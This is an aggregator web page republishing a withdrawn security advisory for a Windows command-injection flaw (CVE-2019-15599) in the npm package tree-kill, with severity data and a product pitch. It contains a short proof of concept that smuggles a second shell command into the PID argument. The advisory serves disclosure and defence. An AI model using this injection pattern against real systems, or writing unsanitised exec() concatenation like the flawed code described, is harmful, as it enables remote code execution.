🛡️ GHSA-mxq6-vrrr-ppmg — tree-kill (CVE-2019-15599)

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-94 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Duplicate Advisory: tree-kill vulnerable to remote code execution

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.

Original Description

A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()

Steps To Reproduce:

Create the following PoC file:

```js

// poc.js

var kill = require('tree-kill');

kill('3333332 & echo "HACKED" > HACKED.txt & ');

```

Execute the following commands in another terminal:

```bash

npm i tree-kill # Install affected module

dir # Check *HACKED.txt* doesn't exist

node poc.js # Run the PoC

dir # Now *HACKED.txt* exists :)

```

A new file called HACKED.txt will be created, containing the HACKED string.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

GHSA-mxq6-vrrr-ppmg is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.

Affected software

GHSA-mxq6-vrrr-ppmg is recorded against 1 package.

  • tree-kill

Timeline and source

Published on 24 May 2022 and last revised on 8 November 2023. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

nvd.nist.gov (Advisory)
github.com (Web)
hackerone.com (Web)
github.com (Package)
github.com (Web)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-94
Public Exploit ✅ No
Source OSV
Published 2022-05-24
Updated 2026-08-20
Modified 2023-11-08
Fix URL N/A

Affected Packages

Software From version Fixed in
tree-kill

Similar Threats

Exploit Protection

Are you running tree-kill?

GHSA-mxq6-vrrr-ppmg carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For GHSA-mxq6-vrrr-ppmg →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated